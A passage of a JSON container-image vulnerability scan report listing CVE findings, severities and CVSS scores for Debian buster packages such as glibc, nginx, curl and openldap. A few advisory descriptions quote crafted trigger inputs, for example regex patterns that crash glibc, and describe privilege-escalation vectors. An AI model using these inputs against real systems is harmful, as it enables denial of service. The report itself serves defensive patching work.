LZ4_compress_fast with a large input. (This issue can also lead to data corruption.) NOTE: the vendor states \"only a few specific / uncommon usages of the API are at risk.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-17543", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.8.3-1+deb10u1"}, {"key": "package_name", "value": "lz4"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2013-0337", "description": "The default configuration of nginx, possibly 1.3.13 and earlier, uses world-readable permissions for the (1) access.log and (2) error.log files, which allows local users to obtain sensitive information by reading the files.", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-0337", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2018-7169", "description": "An issue was discovered in shadow 4.5. newgidmap (in shadow-utils) is setuid and allows an unprivileged user to be placed in a user namespace where setgroups(2) is permitted. This allows an attacker to remove themselves from a supplementary group, which may allow access to certain filesystem paths if the administrator has used \"group blacklisting\" (e.g., chmod g-rwx) to restrict access to paths. This flaw effectively reverts a security feature in the kernel (in particular, the /proc/self/setgroups knob) to prevent this sort of privilege escalation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-7169", "severity": "LOW", "attributes": [{"key": "package_version", "value": "1:4.5-1.1"}, {"key": "package_name", "value": "shadow"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-37600", "description": "An integer overflow in util-linux through 2.37.1 can potentially cause a buffer overflow if an attacker were able to use system resources in a way that leads to a large number in the /proc/sysvipc/sem file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-37600", "severity": "LOW", "attributes": [{"key": "package_version", "value": "2.33.1-0.1"}, {"key": "package_name", "value": "util-linux"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2011-3374", "description": "It was found that apt-key in apt, all versions, do not correctly validate gpg keys with the master keyring, leading to a potential man-in-the-middle attack.", "uri": "https://security-tracker.debian.org/tracker/CVE-2011-3374", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.8.2.3"}, {"key": "package_name", "value": "apt"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2019-18276", "description": "An issue was discovered in disable_priv_mode in shell.c in GNU Bash through 5.0 patch 11. By default, if Bash is run with its effective UID not equal to its real UID, it will drop privileges by setting its effective UID to its real UID. However, it does so incorrectly. On Linux and other systems that support \"saved UID\" functionality, the saved UID is not dropped. An attacker with command execution in the shell can use \"enable -f\" for runtime loading of a new builtin, which can be a shared object that calls setuid() and therefore regains privileges. However, binaries running with an effective UID of 0 are unaffected.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-18276", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "5.0-4"}, {"key": "package_name", "value": "bash"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, {"key": "CVSS2_SCORE", "value": "7.2"}]}, {"name": "CVE-2017-18018", "description": "In GNU Coreutils through 8.29, chown-core.c in chown and chgrp does not prevent replacement of a plain file with a symlink during use of the POSIX \"-R -L\" options, which allows local users to modify the ownership of arbitrary files by leveraging a race condition.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-18018", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "8.30-3"}, {"key": "package_name", "value": "coreutils"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "1.9"}]}, {"name": "CVE-2021-22923", "description": "When curl is instructed to get content using the metalink feature, and a user name and password are used to download the metalink XML file, those same credentials are then subsequently passed on to each of the servers from which curl will download or try to download the contents from. Often contrary to the user's expectations and intentions and without telling the user it happened.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22923", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl"}]}, {"name": "CVE-2021-22922", "description": "When curl is instructed to download content using the metalink feature, thecontents is verified against a hash provided in the metalink XML file.The metalink XML file points out to the client how to get the same contentfrom a set of different URLs, potentially hosted by different servers and theclient can then download the file from one or several of them. In a serial orparallel manner.If one of the servers hosting the contents has been breached and the contentsof the specific file on that server is replaced with a modified payload, curlshould detect this when the hash of the file mismatches after a completeddownload. It should remove the contents and instead try getting the contentsfrom another URL. This is not done, and instead such a hash mismatch is onlymentioned in text and the potentially malicious content is kept in the file ondisk.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-22922", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "7.64.0-4+deb10u2"}, {"key": "package_name", "value": "curl"}]}, {"name": "CVE-2013-0340", "description": "expat 2.1.0 and earlier does not properly handle entities expansion unless an application developer uses the XML_SetEntityDeclHandler function, which allows remote attackers to cause a denial of service (resource consumption), send HTTP requests to intranet servers, or read arbitrary files via a crafted XML document, aka an XML External Entity (XXE) issue. NOTE: it could be argued that because expat already provides the ability to disable external entity expansion, the responsibility for resolving this issue lies with application developers; according to this argument, this entry should be REJECTed, and each affected application would need its own CVE.", "uri": "https://security-tracker.debian.org/tracker/CVE-2013-0340", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.2.6-2+deb10u1"}, {"key": "package_name", "value": "expat"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2019-1010023", "description": "** DISPUTED ** GNU Libc current is affected by: Re-mapping current loaded library with malicious ELF file. The impact is: In worst case attacker may evaluate privileges. The component is: libld. The attack vector is: Attacker sends 2 ELF files to victim and asks to run ldd on it. ldd execute code. NOTE: Upstream comments indicate \"this is being treated as a non-security bug and no real threat.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010023", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2010-4051", "description": "The regcomp implementation in the GNU C Library (aka glibc or libc6) through 2.11.3, and 2.12.x through 2.12.2, allows context-dependent attackers to cause a denial of service (application crash) via a regular expression containing adjacent bounded repetitions that bypass the intended RE_DUP_MAX limitation, as demonstrated by a {10,}{10,}{10,}{10,}{10,} sequence in the proftpd.gnu.c exploit for ProFTPD, related to a \"RE_DUP_MAX overflow.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-4051", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-1010022", "description": "** DISPUTED ** GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass stack guard protection. The component is: nptl. The attack vector is: Exploit stack buffer overflow vulnerability and use this bypass vulnerability to bypass stack guard. NOTE: Upstream comments indicate \"this is being treated as a non-security bug and no real threat.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010022", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2010-4052", "description": "Stack consumption vulnerability in the regcomp implementation in the GNU C Library (aka glibc or libc6) through 2.11.3, and 2.12.x through 2.12.2, allows context-dependent attackers to cause a denial of service (resource exhaustion) via a regular expression containing adjacent repetition operators, as demonstrated by a {10,}{10,}{10,}{10,} sequence in the proftpd.gnu.c exploit for ProFTPD.", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-4052", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-1010024", "description": "** DISPUTED ** GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass ASLR using cache of thread stack and heap. The component is: glibc. NOTE: Upstream comments indicate \"this is being treated as a non-security bug and no real threat.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010024", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2010-4756", "description": "The glob implementation in the GNU C Library (aka glibc or libc6) allows remote authenticated users to cause a denial of service (CPU and memory consumption) via crafted glob expressions that do not match any pathnames, as demonstrated by glob expressions in STAT commands to an FTP daemon, a different vulnerability than CVE-2010-2632.", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-4756", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:S/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4"}]}, {"name": "CVE-2019-1010025", "description": "** DISPUTED ** GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may guess the heap addresses of pthread_created thread. The component is: glibc. NOTE: the vendor's position is \"ASLR bypass itself is not a vulnerability.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-1010025", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2018-20796", "description": "In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by '(\\227|)(\\\\1\\\\1|t1|\\\\\\2537)+' in grep.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-20796", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-9192", "description": "** DISPUTED ** In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by '(|)(\\\\1\\\\1)*' in grep, a different issue than CVE-2018-20796. NOTE: the software maintainer disputes that this is a vulnerability because the behavior occurs only with a crafted pattern.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-9192", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.28-10"}, {"key": "package_name", "value": "glibc"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2011-3389", "description": "The SSL protocol, as used in certain configurations in Microsoft Windows and Microsoft Internet Explorer, Mozilla Firefox, Google Chrome, Opera, and other products, encrypts data by using CBC mode with chained initialization vectors, which allows man-in-the-middle attackers to obtain plaintext HTTP headers via a blockwise chosen-boundary attack (BCBA) on an HTTPS session, in conjunction with JavaScript code that uses (1) the HTML5 WebSocket API, (2) the Java URLConnection API, or (3) the Silverlight WebClient API, aka a \"BEAST\" attack.", "uri": "https://security-tracker.debian.org/tracker/CVE-2011-3389", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "3.6.7-4+deb10u7"}, {"key": "package_name", "value": "gnutls28"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2021-30535", "description": "Double free in ICU in Google Chrome prior to 91.0.4472.77 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-30535", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "63.1-6+deb10u1"}, {"key": "package_name", "value": "icu"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2017-9937", "description": "In LibTIFF 4.0.8, there is a memory malloc failure in tif_jbig.c. A crafted TIFF document can lead to an abort resulting in a remote denial of service attack.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-9937", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.1-3.1"}, {"key": "package_name", "value": "jbigkit"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2018-5709", "description": "An issue was discovered in MIT Kerberos 5 (aka krb5) through 1.16. There is a variable \"dbentry->n_key_data\" in kadmin/dbutil/dump.c that can store 16-bit data but unknowingly the developer has assigned a \"u4\" variable to it, which is for 32-bit data. An attacker can use this vulnerability to affect other artifacts of the database as we know that a Kerberos database dump file contains trusted data.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-5709", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.17-3+deb10u1"}, {"key": "package_name", "value": "krb5"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2021-36222", "description": "ec_verify in kdc/kdc_preauth_ec.c in the Key Distribution Center (KDC) in MIT Kerberos 5 (aka krb5) before 1.18.4 and 1.19.x before 1.19.2 allows remote attackers to cause a NULL pointer dereference and daemon crash. This occurs because a return value is not properly managed in a certain situation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2021-36222", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.17-3+deb10u1"}, {"key": "package_name", "value": "krb5"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2004-0971", "description": "The krb5-send-pr script in the kerberos5 (krb5) package in Trustix Secure Linux 1.5 through 2.1, and possibly other operating systems, allows local users to overwrite files via a symlink attack on temporary files.", "uri": "https://security-tracker.debian.org/tracker/CVE-2004-0971", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.17-3+deb10u1"}, {"key": "package_name", "value": "krb5"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2018-6829", "description": "cipher/elgamal.c in Libgcrypt through 1.8.2, when used to encrypt messages directly, improperly encodes plaintexts, which allows attackers to obtain sensitive information by reading ciphertext data (i.e., it does not have semantic security in face of a ciphertext-only attack). The Decisional Diffie-Hellman (DDH) assumption does not hold for Libgcrypt's ElGamal implementation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-6829", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.8.4-5+deb10u1"}, {"key": "package_name", "value": "libgcrypt20"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2018-11813", "description": "libjpeg 9c has a large loop because read_pixel in rdtarga.c mishandles EOF.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-11813", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:1.5.2-2+deb10u1"}, {"key": "package_name", "value": "libjpeg-turbo"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2020-17541", "description": "Libjpeg-turbo all version have a stack-based buffer overflow in the \"transform\" component. A remote attacker can send a malformed jpeg file to the service and cause arbitrary code execution or denial of service of the target service.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-17541", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:1.5.2-2+deb10u1"}, {"key": "package_name", "value": "libjpeg-turbo"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2017-15232", "description": "libjpeg-turbo 1.5.2 has a NULL Pointer Dereference in jdpostct.c and jquant1.c via a crafted JPEG file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-15232", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1:1.5.2-2+deb10u1"}, {"key": "package_name", "value": "libjpeg-turbo"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2018-14048", "description": "An issue has been found in libpng 1.6.34. It is a SEGV in the function png_free_data in png.c, related to the recommended error handling for png_read_image.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-14048", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.6.36-6"}, {"key": "package_name", "value": "libpng1.6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2019-6129", "description": "** DISPUTED ** png_create_info_struct in png.c in libpng 1.6.36 has a memory leak, as demonstrated by pngcp. NOTE: a third party has stated \"I don't think it is libpng's job to free this buffer.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-6129", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.6.36-6"}, {"key": "package_name", "value": "libpng1.6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2018-14550", "description": "An issue has been found in third-party PNM decoding associated with libpng 1.6.35. It is a stack-based buffer overflow in the function get_token in pnm2png.c in pnm2png.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-14550", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.6.36-6"}, {"key": "package_name", "value": "libpng1.6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2019-9893", "description": "libseccomp before 2.4.0 did not correctly generate 64-bit syscall argument comparisons using the arithmetic operators (LT, GT, LE, GE), which might able to lead to bypassing seccomp filters and potential privilege escalations.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-9893", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.3.3-4"}, {"key": "package_name", "value": "libseccomp"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "7.5"}]}, {"name": "CVE-2018-1000654", "description": "GNU Libtasn1-4.13 libtasn1-4.13 version libtasn1-4.13, libtasn1-4.12 contains a DoS, specifically CPU usage will reach 100% when running asn1Paser against the POC due to an issue in _asn1_expand_object_id(p_tree), after a long time, the program will be killed. This attack appears to be exploitable via parsing a crafted file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2018-1000654", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "4.13-3"}, {"key": "package_name", "value": "libtasn1-6"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:C"}, {"key": "CVSS2_SCORE", "value": "7.1"}]}, {"name": "CVE-2016-9085", "description": "Multiple integer overflows in libwebp allows attackers to have unspecified impact via unknown vectors.", "uri": "https://security-tracker.debian.org/tracker/CVE-2016-9085", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "0.6.1-2+deb10u1"}, {"key": "package_name", "value": "libwebp"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2015-9019", "description": "In libxslt 1.1.29 and earlier, the EXSLT math.random function was not initialized with a random seed during startup, which could cause usage of this function to produce predictable outputs.", "uri": "https://security-tracker.debian.org/tracker/CVE-2015-9019", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.1.32-2.2~deb10u1"}, {"key": "package_name", "value": "libxslt"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2009-4487", "description": "nginx 0.7.64 writes data to a log file without sanitizing non-printable characters, which might allow remote attackers to modify a window's title, or possibly execute arbitrary commands or overwrite files, via an HTTP request containing an escape sequence for a terminal emulator.", "uri": "https://security-tracker.debian.org/tracker/CVE-2009-4487", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.21.1-1~buster"}, {"key": "package_name", "value": "nginx"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2020-15719", "description": "libldap in certain third-party OpenLDAP packages has a certificate-validation flaw when the third-party package is asserting RFC6125 support. It considers CN even when there is a non-matching subjectAltName (SAN). This is fixed in, for example, openldap-2.4.46-10.el8 in Red Hat Enterprise Linux.", "uri": "https://security-tracker.debian.org/tracker/CVE-2020-15719", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:H/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "4"}]}, {"name": "CVE-2015-3276", "description": "The nss_parse_ciphers function in libraries/libldap/tls_m.c in OpenLDAP does not properly parse OpenSSL-style multi-keyword mode cipher strings, which might cause a weaker than intended cipher to be used and allow remote attackers to have unspecified impact via unknown vectors.", "uri": "https://security-tracker.debian.org/tracker/CVE-2015-3276", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2017-14159", "description": "slapd in OpenLDAP 2.4.45 and earlier creates a PID file after dropping privileges to a non-root account, which might allow local users to kill arbitrary processes by leveraging access to this non-root account for PID file modification before a root script executes a \"kill `cat /pathname`\" command, as demonstrated by openldap-initscript.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-14159", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "1.9"}]}, {"name": "CVE-2017-17740", "description": "contrib/slapd-modules/nops/nops.c in OpenLDAP through 2.4.45, when both the nops module and the memberof overlay are enabled, attempts to free a buffer that was allocated on the stack, which allows remote attackers to cause a denial of service (slapd crash) via a member MODDN operation.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-17740", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2.4.47+dfsg-3+deb10u6"}, {"key": "package_name", "value": "openldap"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2010-0928", "description": "OpenSSL 0.9.8i on the Gaisler Research LEON3 SoC on the Xilinx Virtex-II Pro FPGA uses a Fixed Width Exponentiation (FWE) algorithm for certain signature calculations, and does not verify the signature before providing it to a caller, which makes it easier for physically proximate attackers to determine the private key via a modified supply voltage for the microprocessor, related to a \"fault-based attack.\"", "uri": "https://security-tracker.debian.org/tracker/CVE-2010-0928", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.1.1d-0+deb10u6"}, {"key": "package_name", "value": "openssl"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:H/Au:N/C:C/I:N/A:N"}, {"key": "CVSS2_SCORE", "value": "4"}]}, {"name": "CVE-2007-6755", "description": "The NIST SP 800-90A default statement of the Dual Elliptic Curve Deterministic Random Bit Generation (Dual_EC_DRBG) algorithm contains point Q constants with a possible relationship to certain \"skeleton key\" values, which might allow context-dependent attackers to defeat cryptographic protection mechanisms by leveraging knowledge of those values. NOTE: this is a preliminary CVE for Dual_EC_DRBG; future research may provide additional details about point Q and associated attacks, and could potentially lead to a RECAST or REJECT of this CVE.", "uri": "https://security-tracker.debian.org/tracker/CVE-2007-6755", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "1.1.1d-0+deb10u6"}, {"key": "package_name", "value": "openssl"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5.8"}]}, {"name": "CVE-2017-7246", "description": "Stack-based buffer overflow in the pcre32_copy_substring function in pcre_get.c in libpcre1 in PCRE 8.40 allows remote attackers to cause a denial of service (WRITE of size 268) or possibly have unspecified other impact via a crafted file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-7246", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2019-20838", "description": "libpcre in PCRE before 8.43 allows a subject buffer over-read in JIT when UTF is disabled, and \\X or \\R has more than one fixed quantifier, a related issue to CVE-2019-20454.", "uri": "https://security-tracker.debian.org/tracker/CVE-2019-20838", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "4.3"}]}, {"name": "CVE-2017-7245", "description": "Stack-based buffer overflow in the pcre32_copy_substring function in pcre_get.c in libpcre1 in PCRE 8.40 allows remote attackers to cause a denial of service (WRITE of size 4) or possibly have unspecified other impact via a crafted file.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-7245", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, {"key": "CVSS2_SCORE", "value": "6.8"}]}, {"name": "CVE-2017-16231", "description": "** DISPUTED ** In PCRE 8.41, after compiling, a pcretest load test PoC produces a crash overflow in the function match() in pcre_exec.c because of a self-recursive call. NOTE: third parties dispute the relevance of this report, noting that there are options that can be used to limit the amount of stack that is used.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-16231", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, {"key": "CVSS2_SCORE", "value": "2.1"}]}, {"name": "CVE-2017-11164", "description": "In PCRE 8.41, the OP_KETRMAX feature in the match function in pcre_exec.c allows stack exhaustion (uncontrolled recursion) when processing a crafted regular expression.", "uri": "https://security-tracker.debian.org/tracker/CVE-2017-11164", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "2:8.39-12"}, {"key": "package_name", "value": "pcre3"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}, {"key": "CVSS2_SCORE", "value": "7.8"}]}, {"name": "CVE-2011-4116", "description": "_is_safe in the File::Temp module for Perl does not properly handle symlinks.", "uri": "https://security-tracker.debian.org/tracker/CVE-2011-4116", "severity": "INFORMATIONAL", "attributes": [{"key": "package_version", "value": "5.28.1-6+deb10u1"}, {"key": "package_name", "value": "perl"}, {"key": "CVSS2_VECTOR", "value": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, {"key": "CVSS2_SCORE", "value": "5"}]}, {"name": "CVE-2019-19882", "description": "shadow 4.8, in certain circumstances affecting at least Gentoo, Arch Linux, and Void Linux, allows local users to obtain root access because setuid programs are misconfigured. Specifically, this affects shadow 4.8 when compiled using --with-libpam but without explicitly passing --disable-account-tools-setuid, and without a PAM configuration suitable for use with setuid account management tools. This combination leads to account management tools (groupadd, groupdel, groupmod, useradd, userdel, usermod) that can easily be used by unprivileged local users to escalate privileges to root in 